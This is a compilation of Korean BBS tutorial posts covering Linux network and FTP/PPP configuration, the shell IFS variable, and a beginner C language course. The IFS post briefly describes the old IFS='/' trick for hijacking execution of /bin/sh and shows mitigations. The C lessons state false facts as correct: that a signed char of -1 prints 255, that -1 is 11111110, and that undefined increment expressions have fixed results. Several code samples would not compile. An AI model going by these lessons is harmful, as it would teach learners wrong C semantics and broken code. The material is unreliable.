ex) 210.123.119.13          mud.bigtel.co.kr mud

그 다음이 중요하다.

/etc/sysconfig/network 파일을 에디터로 편집해야 한다.
그 파일안에는 이런 내용이 들어가야 한다.
NETWORKING=yes
HOSTNAME=서버 도메인    (ex: mud.bigtel.co.kr )
DOMAINNAME=이름을 뺀 도메인만..  (ex: bigtel.co.kr)
GATEWAY=ip주소      ( ex: 210.123.119.254 )
GATEWAYDEV=eth0
이렇게 들어가면 된다.
그 다음에 편집할 파일은
/etc/sysconfig/network-scripts/ifcfg-eth0 을 에디터로 불러온다.
DEVICE=eth0
IPADDR=서버의 ip 를 넣는다.  ( ex: 210.123.119.13 )
NETMASK=255.255.255.0   보통이렇게 한다.
NETWORK=ip 주소.255   옆의 예를 들면 ( ex:210.123.119.255 )
앗..다시 위에꺼 정정
NETWORK=ip 주소.0   ( ex:210.123.119.0 )
BROADCAST=ip주소.255   ( ex : 210.123.119.255 )
ONBOOT=yes
이렇게 하면되요.
휘리릭.
상당히 쉽죠?
보통 슬랙 웨어 리눅스의 경우 netconfig 라는 것이 있지만
수동으로 해야 할 경우 이렇게 하면되고요.
엑스 윈도우에서 할 수도 있지만 그 이게 편합니다.

제  목: [강좌] IFS 에 대한..

쉘은 명령어의 인수를 분리하기 위해서 IFS라는 쉘변수를 이용한당.
그래서 보통 IFS는 공백 , 탭 , 개행문자 등을 사용한다.
그런데 만약에 IFS = / 라고 되어 있다면 우리가 입력한 /bin/sh 라는 파일을
실행시켜보면 sh 파일이 실행이 되는게 아니라 bin 이라는 파일이 실행되며
뒤의 sh 파일은 bin 프로그램의 인수로 인식한다.
즉, main(int argc , **argv) 에서 argv=[2]를 sh 라고 인식해버린다.

그러나 이런 문제를 과거까지는 통했지만 지금은 안통한다.
그중 해결책중 하나는
 어떤 프로그램내의 system()이나 popen() 함수를 사용하여 해결할수 있다.
system("IFS=' \t\n'; export IFS; /bin/sort /tmp/name");
popen("IFS=' \t\n'; export IFS; PATH=/bin;/usr/bin echo test");
여기서 쉘변수를 정의해주어도 export명령을 사용하지 않는이상 쉘이 이것을
받아 들이지 않는다는 것을 유념해야 한다.


 제  목: [강좌] C 언어 강좌

1부 문법편
문법과 그에 따른 간단한 예제를 선보일 예정입니다.
그리고 흔히 볼수 있는 예제, 예를 들면 풀다운 메뉴
라던지 간단한 데이터 베이스를 다룰수 있는 것 혹은
파일 입출력 예제들을 다루게 될 것입니다..

그리고 비디오 카드 처리에 관해서는 다루지 않을
생각입니다. 비디오 카드는 각 시스템 마다 다루고
또 윈도우 프로그램으로 넘어가는 시점에서 굳이
이것을 다룰 필요가 있다고 생각치 않기 때문입니다.


2. 응용편

이제까지 배운 문법들을 이용해 자료구조 부분들과
수치 해석을 하는 부분을 다루게 될 것입니다.


3. 객체지향편

C언어를 좀더 확장해서 객체지향언어 C++를 다루어
볼 예정입니?

----------------------------------------------------

============================================================
시작하기 전에

C언어를 사용하는데 있어 필요한 것은 compiler 라고 하는 것이
필요합니다. compiler는 C언어를 컴퓨터가 알아 들을수 있도록
만들어 주는 도구라고 보면 됩니다. 일반적으로 쉽게 구할수 있는
것이 Turbo-C 인데 이것은 언어가 아니고 Borland 사에서 만든
C언어 번역기 입니다.
compile 이란 말은 영어로 번역이란 뜻이 있습니다. 그리고 BASIC
같은 언어는 interpreter방식을 사용하는데 interperter와 compile의
차이는 앞의 것은 소스 코드를 하나씩 번역을 하면서 실행하는
반면에 뒤의 것은 소스 코드 전체를 번역한 후 실행코드를 만든다음
실행합니다.

일반적인 프로그램들은 대체로 compile 방식을 취하게 됩니다. 일단
comile을 하면 목적코드(.obj) 라는 것이 만들어 지죠. 그리고 링크
라는 과정을 통해 실행 파일 (.exe)가 만들어 집니다. 우리가 실행
하는 것은 마지막 단계까지 이루어 지고 난후 만들어진 *.exe 를
실행하는 것입니다.

그리고 앞으로의 모든 코드는 여러분이 어떤 컴파일러를 사용하던지
상관없이 예제 코드를 만들 생각입니다. 간혹 MS-C 라던지 VISUAL
C++로 컴파일 하셔도 상관없을 것입니다. 참고로 제가 사용하는
컴파일러는 볼랜드 C++ 3.1 입니다.

===============================================================


제 1부 문법편


가장 간단한 형태의 C program 을 만들어 보겠습니다. 이 예제는
C라는 언어를 만든 아저씨가 만들 유명한 예제이기도 하죠.. (^_^)

#include

main()
{
  printf("Hello World\n");
}


이 코드로 compile하고 link 하면 화면에 멋있는 결과가 나타날
겁니다. 짜짠!~.. 저도 맨 처음엔 무척 신기하고 너무 즐거웠죠..
혹 컴파일 방법을 모르시는 분은 개인 메일을 주시면 됩니다.

혹 turbo-c 를 사용하신다면 ctrl+F9 하시면 모든게 해결이 되죠.

결과:

Hello World


이제부터는 위 예제를 설명하기로 하죠..

#include

이것은 C언어에서 사용하고 있는 standard input/output 라이브러리를
위해 필요한 라인입니다. 바로 printf() 함수가 여기에 정의되어
있죠. 이렇게 여러 함수 정의나 자료의 정보가 담겨 있는
파일을 헤드 파일이라고 합니다. 일반적으로 확장자를 .h 를
사용하죠. 중요한 것은 stdio.h 는 이 컴파일러가 기본적으로
제공하는 헤드 파일이기때문에 < > 로서 감싸주어야 합니다.


main()

이 부분은 main() 함수의 정의및 선언입니다. 정의와 선언은 다음에
다루기로 하고 어쨌든 C 언어는 무조건 시작을 main()함수부터
합니다. 만약에 main() 이 없으면 에러가 생기죠..


{
  printf("Hello World\n");
}


여기서 보면 블럭 기호가 있죠. C언어는 모든 부분이 블럭단위로
구성되어 있습니다. 그래서 함수를 시작하면 먼저 함수이름을 쓰고
그런다음에 { .. } 블럭 기호를 사용해서 그 안에 여러 내용을
기술한 다음에 다시 블럭을 닫습니다. 그리고 여기에

 printf("Hello World\n");

라인이 있는데 이것을 출력을 위한 함수 입니다. C 언어 자체에는
printf() 함수가 존재하지 않습니다. 이것을 함수이죠.. C 언어는
모두 함수들로 구성되어 있습니다. 그래서 만들기도 쉽죠..
모두 필요한 기능을 원하는 위치에 만들고 불러 사용하기만 하면
되니까요..

혹 다른 문장을 출력하기 위해서는 'Hello World' 대신에 다른
문장을 넣어 주면 됩니다. 마지막에 있는 '\n' 은 출력을 끝내고
새로운 라인을 만들라는 뜻입니다. 그리고 중요한 것은 마지막의
세미콜론입니다. 이것은 한 라인이 끝났다는 것을 의미합니다.
만약에 이것을 사용하지 않는다면 무수한 에러가 생기죠. 그래서
초보자분들이 고생하는 것중에 하나이랍니다. 저도 고생한 경험이
정말 많습니다..

이상에서 컴파일 하고 링크하는 과정에서 에러가 있다면 다음을
점검해 보세여..

(1) 대소문자 구별을 제대로 했는가? (모두 소문자입니다)
(2) 문장의 마지막에 세미콜론(;)을 제대로 붙였는가?

그래도 이상이 있다 그러면 즉각 질문해 주세여..


다음은 자료형을 살펴 보기로 하죠..

C언어의 자료형은 IBM PC(16 Bit Computer)기준으로

(1) 문자형 : char
(2) 정수형 : int
(3) 실수형 : float
(4) void형 : void

의 네가지가 있습니다.

char 형

char형은 문자를 다루기 위해 사용되어지는 자료형입니다.  보통 1 Byte로
사용되죠.. 이 1 Byte는 총 8비트, 그러니까 2^8 = 256. 즉 0-255까지
사용할수 있는 자료형입니다. 0-255 이면 ASCII 코드를 표현할 수 있죠.
컴을 만든 사람들이 미국애들이다 보니 어쩔수 없이 ASCII를 사용하는데
그 코드는 0 - 255까지 만들어 있습니다. 그래서 char 형을 사용하면 그
코드들을 이용할수 있답니다. 예를 들어 65라고 하는 숫자는 ASCII 코드로
'A' 에 해당하는 문자입니다.


int 형

말 그대로 정수형입니다. 정수를 다루기 위해 만들어 진 자료형입니다.
대체로 2 Byte을 사용합니다. 총 2^16 = 65536 의 수를 표현할수 있습
니다.


float 형

실수형을 다루기 위해 만들어진 자료형이죠.. 보통 4 Byte를 사용합니다.
이것은 지수부 표현을 위해 8비트, 가수부를 위해 23비트를 사용합니다.
그리고 1비트를 부호의 표현을 위해 사용된답니다.


void 형

이것은 어떤 자료형도 아닙니다. 그냥 비어 있다는 뜻입니다. 다른 식으로
표현하면 어떤 자료형으로도 바뀔수 있다는 얘기도 되죠.. 그렇지만
변수를 이 void 형으로 선언할수는 없습니다. 함수에서 어떤 값을 되돌
리고자 할때 아무것도 되돌리지 않으려면 이것을 사용하면 됩니다.
앞으로 배워나가면서 이것에 대한 설명을 하기로 하죠.


그리고 부호를 다루기 위해 각 키워드 앞에는

signed, unsigned, long

가 붙을수 있습니다. 덧붙여 short 가 있지만 이것은 IBM-PC에서는
생략해도 별 상관없습니다. 모든 자료형은 맨앞의 비트를 (MSB) 부호
표현을 위해 사용하고 있습니다.
signed인 경우에는 MSB(Most Significant Bit, 최고 높은  bit)가 0이면
양, 1이면 음을 표현하기 때문에 그냥 char 을 사용하신다면 -128 ~ 127
까지 사용할수 있습니다. (0이 포함되므로 127까지)
unsigned는 자료가 음수가 사용되지 않을 경우에 사용됩니다. unsigned
char 를 사용한다면 0-255까지 사용할수 있습니다. 그리고 C언어에서는
그냥 char 이라고 선언하면 자동으로 signed라고 인식합니다.
그리고 long을 사용하면 현재 사용하는 바이트의 2배를 나타냅니다.
예를 들면 long (int), long double 등이 있죠.

그러면 다음의 예제를 보도록 하죠..  이번의 결과는 상당히 특이한 결과를
보일것입니다.

/* IBM-PC 16 비트 머신일 경우 */
#include

main()
{
  char a;
  unsigned char b;

  a = -1;
  b = -10;

  printf("a = %d, b = %d \n", a, b);
}


의 프로그램의 결과는

a = 255, b = 246


위 결과는 정말 특이하죠.. 이게 왜 이런지 아시는 분은 C 언어를 상당히
하고 있다고 봐도 될것 같습니다.
그럼 분석을 해 보도록 하죠..

-1  = (1111 1110) (2진수) (255 + (-1) + 1 )
-10 = (1111 1010) (2진수) (255 + (-10) + 1)

   -3   1111 1100
   -2   1111 1101
   -1   1111 1110
    0   0000 0000
    1   0000 0001
    2   0000 0010
    3   0000 0011

왜 이런고 하니 컴은 뺄셈을 하지 않기 때문입니다. 대신 보수 계산이란 방식으로
덧셈을 하죠.. 즉 -1의 보수는 위와 같은 1111 1110 이랍니다.. 근데 printf() 함수

란 녀석은 출력할 때 오직 %d 십진수 출력으로만 하기 때문에 255 하고 246이란
결과가 나오는 것입니다.

오늘은 여기까지만..

     No.234 이름:이남철   이용자번호:nextstep 일시:11/13 17:35 총쪽수:29
제목:[강좌] C언어를 배운다/3                            검색어:강좌          
--------------------------------------------------------------------------
--


이번에는 제어구조에 대해 알아보도록 하죠.

제어문이란 프로그램의 흐름의 바꾸는 명령문을 말하죠. 그 종류는 아래와 같습니다
.


if  .. else
switch .. case
for
while
do - while
goto
break
continue


이중에서 goto 문의 거의 사용을 하지 않습니다. 아니 사용하지 말아야 하는 것중의
하나입니다. 어쨋든 사용법은 아래와 같습니다.


goto 문 ( goto label; )


goto문은 프로그램의 실행을 지정된 레이블이 있는 위치로 강제로 옮기는 명령어입
니다.
레이블명 뒤에는 반드시 :를 붙이며,goto명령과 결합된 레이블 뒤에는 :를 붙이지
않습니다.


이번에는 for 문을 보도록 하죠.

for(초기치;비교;증감치) {
  ...
  }


예제를 보면서 더 설명을 하도록 하죠.

/* 이 예제는 1부터 100까지의 합을 구하는 프로그램입니다. */

#include
main()
{
  int n;
  int sum =0;

  for(n=1;n<=100;n++) {
     sum = sum + n;
     }

  printf("\n sum is = %d", sum);
  printf("\n n = %d", n);

}

실행 결과는

sum is = 5050
n = 101

입니다. 예제에서 볼수 있듯이 for문은 초기치 n = 1 부터 시작합니다. 그리고 n이
100과 같을
때까지 계속 반복하게 됩니다. 만약 for문 블럭안에 실행할 문장이 한 문장으로 충
분하다면
블럭 기호를 사용할 필요는 없습니다. 그리고 n이 101이 되는 이유는 간단합니다. f
or문의
실행순서를 보면 먼저 초기치를 설정한 후 그 다음 비교를 합니다. 참이면 블럭안의
문장을
실행하고 그 다음 증감을 합니다. 다시 비교하고 실행하고 증감하죠.. 이런식으로
진행되기
때문에 n은 100이 아니라 101이 되죠. n++ 는 n = n+1 과 같은 결과를 나타냅니다.
요건은
나중에 연산자가 가서 좀 더 상세하게 설명하죠..

이번에는 if .. else 문을 보도록 합시다.


if(조건) {
   ..
 }
else
{
   ..

}

간단한 구조죠.. 음..
처음에 조건을 검사한 다음에 참이면 그 처음 블럭을 아니면 else 에 있는 블럭을
실행하게
되는 구조입니다. 여기서 else문을 없어도 무방합니다. 그렇지만 앞의 경우와 다른
처리를
원한다면 꼭 필요하겠죠.. 그럼 예를 보도록 하죠.

이번에 예제는 입력받은 숫자가 홀수 인지 아니면 짝수인지 확인하는 프로그램입니
다.
준비하시고 쏘세요.. ^^;

#include

main()
{

  int a;

  scanf("%d", &a);

  if (a % 2 == 0)
     printf("\n Input data is even...");

  else
     printf("\n InPut data is odd...");

}


아주 간단한 프로그램이죠.. 앗 그런데.. 못 보던 연산자가 있네요.. == 연산자와 %
연산자 이죠..
앞에 것은 대입연산자가 아니라 같은가를 묻는 연산자이고 뒤의 것은 나머지 연산자
입니다..
즉 어떤 수를 얼마로 나누면 생기는 나머지를 계산해 주는 연산자입니다. 만약 입력
받았던 숫자가
11이였다면 위의 결과를 아래와 같겠죠.


11

Input data is odd...


이것은 11%2 = 1 이기때문에 else 블럭이 실행되겠죠. 만약 이 연산자가 마음에 안
든다면 다른
방법을 사용할 수도 있습니다.. 자료형의 특수성을 이용하는 방법입니다. if 문의
조건을
이렇게 바꿔 보세요.

a / 2 * 2 == a


음.. 혹 이해가 가시는 분 손 드세요.. 윽.~~
이렇게 놓은 실력을 가지고 계신분이 있다니.. 이제 하산해도 되겠네요.. 이 단원만
^^;

설명을 하자면 변수 a는 정수이죠.. 그래서 먼저 나누기 2를 실행하면 소수점이하는
모두 잘려 없어지게 되는 겁니다. 만약 입력 받은 숫자가 짝수이라면 나누기 2, 곱
하기 2를
실행한다고 해도 변화가 없죠. 반면에 홀수라면 나누기 2를 하고 곱하기를 하면 영
결과가
달라지게 됩니다..

11 / 2 = 5
5 * 2 = 10

이제 완죤히 아시겠습니까?
이 코드를 좀 젬있게 바꿔보죠.. 아래처럼 if 블럭을 바꾸는 겁니다.

  if ( a % 2 )
     printf("\n Input data is odd...");

  else
     printf("\n Input data is even...");


요것이 무엇인가 하면 C언어에서 비교하는 방법을 한눈에 보여주는 겁니다. C언어에

참은 0 이 아닌 모든 숫자가 오면 참이 됩니다. 반대로 당연히 0 이면 거짓이 되는
거겠죠.
또 나중에 NULL 을 배우시겠지만 NULL 역시 거짓이 됩니다.

그럼 요런 예를 보시죠.

#include

main()
{
   if ( 1 )
      printf("\n 이건 참입니다..");
   else
      printf("\n 요건 거짓이당가.. ");

}

결과는 음.. 말안해도 될 것 같네요.. 모르심 한번 해보시는 것도 괜찮습니다..

다른 예를 한번 볼께요..


#include
{
   int a, b, c;
   int max;

   scanf("%d %d %d", a, b, c);

   if ( a > b )
   {
      if ( a > c )
         max = a;
      else
         max = c;
    }
   else if ( b > c )
           max = b;
        else
           max = c;

   printf("\n Max = %d", max);
}


이것은 세 수 중에서 제일 큰 값을 찾아내는 겁니다. 보시면 else if 문이 나오는데
별 특이한 것은 없습니다. 구문을 쓸때 베이직처럼 붙여서 사용하시면 안된다는 거
죠.


자.. 이제 while 문장을 배워봅시다.. 제가 제어문에서 가장 많이 사용하고
있는 겁니다. 어떤 분들은 do - while 이 좋다고 하시는데 전 이제 좋네요..
구문은 아래와 같습니다.


while (조건)
{
   ...
 }


조건이 참인 동안에는 블럭안을 계속 수행하게 됩니다. 아니면 블럭을 벗아나게 되
죠..

음.. 1 부터 100 까지의 합을 구하는 while 예제입니다.

#include

main()
{
   int i=1;
   int sum = 0;

   while (i<=100)
   {
     sum = sum + i;
     i++;
    }

    printf("\n sum = %d", sum);
}


첨에 i=1 부터 시작하고 sum은 0으로 초기화, 그리고 나서 while 문에 도달하죠. 먼
저 i가
100보다 작으므로 while 블럭안을 실행.. 그러면 sum은 차례로 i 값을 더해가게 될
겁니다.
이제 i가 101이 되면 그 문장을 벗어나겠죠.. 중요한 것은 여기까지 sum은 모두 100
까지
합을 가지고 있을 겁니다. 제어구문의 제어변수는 중요하므로 얼마까지 계산되는지
정확하게
해 둘 필요가 있습니다.
그리고 출력.. 결과는 앞의 for문과 같은 sum = 5050 이 나온답니다.. ^^;


음. 그러면 위의 예를 좀 더 응용해서

/* 1+(1+2)+(1+2+3)+...+(1+2+3+...+100)의 합을 구하는 프로그램 */

 #include

 main()
 {
   int i;
   long part_sum, total_sum;

   i = 1;
   part_sum = total_sum = 0;

   whiile (i<=100)
   {
      n = n + i;
      sum = sum + n;
      i++;
   }

   printf("합계 = %ld\n",total_sum);
}


이제 분석을 해야 할 시간이군요.
part_sum = total_sum = 0;은 total_sum에 0을 대입하고, total_sum 값을 다시
part_sum에 대입하라는 의미입니다. 이것은 연산자의 결합성에 의해 일어나는
것입니다. 연산자의 우선순위와 결합성은 프로그래밍을 할 때 아주 중요한데 일단
생략하고 그냥 간단히 대입연산자 = 는 우결합성을 가진다고 알고 있자.
다른 예를 볼까요?

 a = b = c = d = e = 1;

먼저 e에 1을 대입하고, 다시 e를 d에, d를 c에 요런 식으로 대입이 되죠..
음. 그렇지만 앞의 예에서 보다시피 변수 선언때는 연속으로 대입을 하면 안됩니다.
요렇게 말이죠.

 int i=j=0;

이제 제어 구문이 거의 막바지에 이르렀네요.. 그럼 switch - case 를 배워보죠.


switch .. case문 (선택제어문)


switch (변수 나 식)
{
  case 식1:
            .....
            break;
  case 식2:
            .....
            break;
  ....
  ....
  case 식n:
            .....
            break;
  default: ....
}

 여기서 식들은 반드시 상수나 상수식이어야 합니다. 아님 에러가 생기죠.
switch문안의 변수나 식을 처리한다음 그 결과로서 각 case문을 찾아가게
됩니다. 만약 값이 일치하는 곳이 없으면 default다음의 문장을 수행합니다.
case 다음의 문장들은 여러 개의 문장을 나열할 수 있지만 블럭은 아닙니다.
그런데 이문장들은 break문을 만나기 전까지는 빠져나가지 않고 그 아래 문장을
계속 수행하게 됩니다.

그럼 좀 그럴듯한 예제를 만들어 보죠..
음. 두개의 숫자와 연산기호를 받아들여 계산기를 만들어 보죠..
예를 들어 5 + 3 하면 8 하고 결과가 나타나게 말입니다.

 #include

 main()
{
   int a, b;
   char operator;

   scanf("%d %c %d", &a, &operator, &b);

   switch(operator)
   {
      case '+' : printf("\n %d + %d = %d", a, b, a+b):
                 break;
      case '-' : printf("\n %d - %d = %d", a, b, a-b):
                 break;
      case '*' : printf("\n %d * %d = %d", a, b, a*b):
                 break;
      case '/' : printf("\n %d - %d = %d", a, b, (float)a/b):
                 break;
      default  : printf("\n operator is not valid..");
    }

}


프로그램을 간단히 설명하면 scanf()에서 두개의 숫자데이터와 연산자를
입력받아서 switch..case문에서 그 연산자에 맞는 case를 찾아갑니다.
그런 다음 연산자에 맞게 각 출력을 하죠..
음..


다음은 중첩된 제어구문 예를 보이고 있습니다. 제가 만든게 아니고
다른 책에서 배껴 온 겁니다. 참고 많이 하세요..


예제. 구구단을 출력시키는 프로그램

#include
#include

main()
{
  int i,j;

  for(i=2;i<=9;i++) {
     printf(" === %d 단 ===\n",i);

  for(j=1;j<=9;j++)
     printf("%3d * %3d = %3d\n",i,j,(i*j));

  puts("아무키나 누르시오..");
  getch();
  }
}

예제. 어떤 수까지 그 이내에 들어 있는 모든 소수를 찾는 프로그램

/* 소수 추출 프로그램(C Primer Plus에서 발췌) */
#include

main()
{
  int number, divisor, limit;
  int count = 0;

  printf("범위를 입력하세요.(2보다 커야함) :");
  scanf("%d",&limit);

  while (limit < 2) {       /* 입력오류 검사 */
     printf("다시 입력하라: ");
     scanf("%d",&limit);
   }
  printf("1에서 %d까지의 소수들은..\n",limit);

  for (number=2;number<=limit;number++) {
      for (divisor=2;number%divisor != 0;divisor++)

      if (divisor == number) {
          printf("%5d ",number);
          count++;
          if (count % 10 == 0)  /*한줄에 10개의 소수출력*/
             printf("\n");
       }
  }
  getch();
}

제가 분석해 드릴수도 있지만 그래도 직접 짜보신다음 분석해
보시는 게 실력 향상에 도움이 될 겁니다.
마지막으로 break나 goto 문은 프로그램의 구조적인 면을 반감시키므로
되도록이면 쓰지 않도록 하시는 게 좋습니다.
끝.. 제어문을 끝내게 되서 정말 기분이 좋군요..
어젠 비가 왔는데. 혹 감기 드신 분들은 없는지.. 그럼 다음번엔
연산자와 연산우선순위에 대해서 공부해 보도록 하겠습니다..


연산자 및 우선순위

그럼 이번에는 C에서 사용되는 연산자와 그들 사이의 관계를 알아보겠습니다.

연산자란 자료조작을 하는 어떤 부호를 말하는데, 그 대상을 오퍼랜드라구 하죠.
사용되는 종류는 아래의 표와 같습니다. 아래 표는 어떤 책(임인건님의 터보C
정복)에서 내용을 가져왔습니다. 물론 다른책에도 있는 내용이구요. 너무 방대
하고 양이 많아서 기냥 가져왔습니다. 양해바랍니다.

아래표를 모두 외우라는 것은 아니니깐 걱정하지 마시고, 그냥 프로그램을 사용
하고  작성하면서 서서히 익혀나가면 됩니다.  혹 중간에 애매하다 싶으면 다시
이 표를 참조하시면 됩니다. C 언어의 연산자는 결합방식과 그 우선순위에 따라
연산을 행하게 되는 데 중요한  것은 프로그램에서 그 결합 방식과 우선 순위를
사용하는 사람이 최대한 쉽게 서술하여야 문제점이 적어진 다는 점입니다.

 아무리 좋은 코드라도 (어렵게 서술하여 이해가 어렵지만 짧은 코드) 남들이
이해가 어렵다면 그 코드는 좋은 코드라고 하기 어렵죠. 될수 있으면 쉽고 보기
좋게 만드는게 좋은 코딩방식이랍니다.


 <표1> 각 연산자들의 종류와 우선 순위
+-----------+-------+-----------------------------------+----+
| 대 분 류  |소분류 |    연        산      자           |결합|
|           |       |                                   |규칙|
+===========+=======+===================================+====+높다
| 일 차 식  |primery| ( ) [ ] -> .                      | -> |
+-----------+-------+-----------------------------------+----+
|단항 연산자| 단 항 | ! ~ ++ -- - cast연산자 * & sizeof | <- |
+-----------+-------+-----------------------------------+----+
|           | 승 제 | * / %                             | -> |
|           |-------+-----------------------------------+----+
|           | 가 감 | + -                               | -> | 우
|           |-------+-----------------------------------+----+
|           |쉬프트 | << >>                             | -> |
|           |-------+-----------------------------------+----+
|           | 비 교 | < <= > >=                         | -> | 선
|           |-------+-----------------------------------+----+
|이항 연산자| 등 가 | == !=                             | -> |
|           |-------+-----------------------------------+----+
|           |비트AND| &                                 | -> |
|           |-------+-----------------------------------+----+
|           |비트XOR| ^                                 | -> | 순
|           |-------+-----------------------------------+----+
|           |비트 OR| |                                 | -> |
|           |-------+-----------------------------------+----+
|           |논리AND| &&                                | -> | 위
|           |-------+-----------------------------------+----+
|           |논리 OR| ||                                | -> |
+-----------+-------+-----------------------------------+----+
|삼항 연산자| 조 건 | ? :                               | <- |
+-----------+-------+-----------------------------------+----+
|  치   환  |       | = += -= *= /= %=                  |    |
|           | 치 환 |-----------------------------------| <- |
| 연 산 자  |       | >>= <<= &= ^= !=                  |    |
+-----------+-------+-----------------------------------+----+
|순차 연산자| 순 차 | ,                                 | -> |낮다
+-----------+-------+-----------------------------------+----+


기본적으로 산술연산자는 일반 계산과 동일하게 사용됩니다. 증감연산자라
불리는 ++, -- 연산자는 사용법을 이미 말한바 있지만 다시 한번 그 의미를
되새겨 보도록 하죠..

 ++ : 변수의 값을 하나 증가시킨다.
 -- : 변수의 값을 하나 감소시킨다.

기억하시겠나요?
음. 기억이 안나신다구요.. 설마~~??

그럼 다음의 예제를 보면서 위 두 연산자의 묘미를 한번 돌아보겠습니다.


#include
main()
{
        int a = 1, b;

        b = a++;
        printf("\n a = %d, b = %d", a, b);

        b = ++a;
        printf("\n a = %d, b = %d", a, b);


        b = a++ + ++a;
        printf("\n a = %d, b = %d", a, b);

}

 상당히 어렵죠.. 혹 위의 결과를 모두 정확히 예측하신 분들은 이미 연산자에
대해서 상당히 공부하신 분이라 생각이 드는군요.  그런 분들은 적어도 이번
연산자 부분을 건너 뛰어 넘어가셔도 될 거라봅니다. 음.. ^^;
프로그램의 결과입니다.

a = 2, b = 1
a = 3, b = 3
a = 4, b = 3
a = 6, b = 9

다른 것은 몰라도 마지막 부분은 맞히신 분이 있을까요? 상당히 궁금하네..


b = a++;

처음에 a를 b에 대입한 다음 a를 1만큼 증가시키고 출력하면 a = 2, b = 1

b = ++a;

a를 1만큼 먼저 증가시킨다음 b에 대입하면 a = 3, b = 3.

b = a++ + ++a;

이번 연산을 덧셈이므로 표에서 보면 알수 있듯이 연산식의 결합방향은 왼쪽에서
오른쪽입니다. 결론부터 얘기하자면 왼쪽 수식결과는 4, 오른쪽 수식 결과는 5.
그래서 b의 값은 9가 되죠. 그리고 a는 두번의 증가를 하게 되므로 6이 되구요.

먼저 b의 결과에는 왼쪽에서 증가되기전 a의 값이 사용되고 오른쪽 수식에서는
1을 증가시키고 난후의 a값이 사용되므로 합이 9가 되죠.

이런 증감연산자 형태를 앞에서 사용되면 전위형, 뒤에서 사용되면 후위형이라고
합니다. 전위형인가 후위형인가에 따라 프로그램은 완죤히 결과가 달라질수 있습
니다. 다음의 예제를 보죠.. 일부로 만든 예제가 아니라 실제 프로그램을 했을때
많이 발생하는 버그입니다.


/* 1부터 100까지의 합을 구하는 프로그램입니다. */
#include

void main()
{
  int a = 0, sum = 0;

  while ( ++a < 100 )
        {
                sum = sum + a;
        }

        printf("\n sum = %d, a = %d", sum, a);

  sum = 0;
        a = 0;

  while ( a++ < 100 )
        {
                sum = sum + a;
        }

        printf("\n sum = %d, a = %d", sum, a);

}

상당히 코드가 길어져 버렸네요. 두 개의 프로그램으로 작성해야 하지만..
좀 귀찮아서 하나의 형태로 만들어 버렸습니다. 자 이제 결과를 얘기해도록
하죠.. 결과는 제가 말하지 않겠습니다. 여러분이 직접 이 코드를 작성해서
한 번 해보세요.. 한번 전위형으로, 다른 한번은 후위형으로 해서 해보시면
그 결과를 다르다는 것을 쉽게 알수 있을 겁니다. 왜 그런지는 이미 앞에서
말한 것과 같습니다.


다음은 저도 다른 책에서 본 것인데요.. 상당히 잼 있어서 옮겨 적습니다.

#include

void main()
{
  int a = 10;

  printf("a = %d, a = %d\n", ++a, a++);

}

프로그램의 결과는

a = 12, a = 10

이것은 printf()함수의 특성때문입니다. 인자를 넘겨 줄때 뒤부터 넘겨 주기
때문에 생기는 현상이죠. 먼저 a를 사용하고 다시 증가, 앞의 인자에서 먼저
증가, 출력하면 12, 10이 출력된답니다. 별 중요하지 않지만, 교훈은 얻을수
있죠.  적어도 한 문장에서는 증감 연산자를 동시에 사용하면 잘못된 결과를
얻을수 있다는 것. 정말 중요한 교훈이랍니다. 다음의 예에서도 볼수 있는데
역시 잘못 사용되고 있는 방식중에 하나입니다.

#include

void main()
{
  int a = 3;
        int result;

        result = a + 4 * ( a++ + 1);

        printf("\n result = %d, a = %d", result, a);

}

결과는

result = 20, a = 4


이것은 연산자 우선순위 문제와 관련있습니다. () 부분이 가장 연산순위가
높기 때문에 일어나는 현상입니다. 어쨌든 잘못된 연산형태중의 하나이죠.
제가 말하고 싶은 것은 증감연산자를 사용할 때는 명확한 형태의 연산에서
만 사용해야 한다는 겁니다.


다음에 설명할 연산자는 치환연산자입니다.이 연산자들은 거의 모든 연산
자과 결합을 해서 만들수 있기 때문에 자주 사용되는 몇 가지만 소개하겠
습니다.


+=, -=, *=, /=, %=, &=, |=, ^=, >>=, <<=


그럼 다음의 예제를 보면서 설명하기로 하겠습니다.


/* 치환연산자 예제입니다. */
#include

void main()
{
        int a = 3, b = 4;

        a += b;                /* a = a + b */
        b -= a;                /* b = b - a */
        a *= 2;                /* a = a * 2 */
        b /= 3;                /* b = b / 3 */
        a %= b;                /* a = a % b */

        printf("\n a = %d, b = %d", a, b);

}

이상에서 보듯이 별 어려운 연산자들은 아닙니다.


제  목: [강좌] ftp 서버 환경 설정하?

ftp 설치하기는 상당히 쉽습니다.
대부분의 리눅스&유닉스는 기본적으로 설치가 되어있습니다.
그렇다면 이를 효율적으로 운영하려면 환경설정을 제대로 해야 합니다.
우선 anonymous 인원수 제한..

/etc/ftpaccess 파일에서 만들수 있다.
limit   anony     20   Any        /etc/msgs/msg.toomany
위에서 anony 라는 클래스명은 따로 만들어야 하지만.
그냥 all 로 바꾸어도 상관없다.
Any 는 언제나. 20명의 제한을 두고..
이를 넘길 시에는 /etc/msgs/msg.toomany 파일을 보여준다.


첫 로긴시 나오는 메세지는 어디에?
/home/ftp/welcome.msg 라는 파일을 보여준다.

디렉토리를 이동시 나오는 메세지..
각 디렉토리의 .message 파일을 보여준다.

passwd-check rfc822 enforce 라고 /etc/ftpaccess 파일에
집어 넣으면 됩니다.

여기까지..

제  목: [강좌] 레드햇 리눅스 ppp 접속하기

리눅스 상에서 ppp 접속을 하시면 일반 유닉스 계정 처럼.
엑스 윈도우나 기타 등등에서 telnet 주소 이런 형식으로
인터넷을 여행할수 있습니다.
그 일련의 과정을 아주 잘 설명하신 글이 있습니다.
글에 아무런 경고 성 글이 없는 것으로 보아 자유롭게 배포해도
되는 듯 합니다.


 제  목:[참고] 레드햇 세연,모뎀으로 PPP 접속

레드햇을 쓰신다면 X-windows 상에서 Network Configuration 을 사용하셔서 편하게

환경 설정을 하실 수 있습니다. 그렇지 않다면 직접 디렉터리를 이동해서 해당파일

을 편집해주면 됩니다. (이 경우는 밑의 참고를 확인하세요. 제가 나름대로 확인해

봤지만 혹시라도 더 편집해야할 파일이 필요한지도 모르겠습니다. 그러니 웬만하면

Network Configuration 을 이용해서 하는게 좋겠죠.)

  매우 중요한 사실 하나. 알짜 레드햇의 경우 PPP 를 이용하려면 반드시 고쳐야만

하는 파일이 있습니다. 이 파일을 수정하지 않을 경우 PPP 를 이용할 수 없습니다.

  #cd /etc/ppp/

하셔서 options 파일의 lock 앞에 #을 붙여주세요. #lock 로 말이죠.


==========================================================================
===

 알짜 레드햇 X-windows 의 제어판에서 Network Configuration


  ① Names

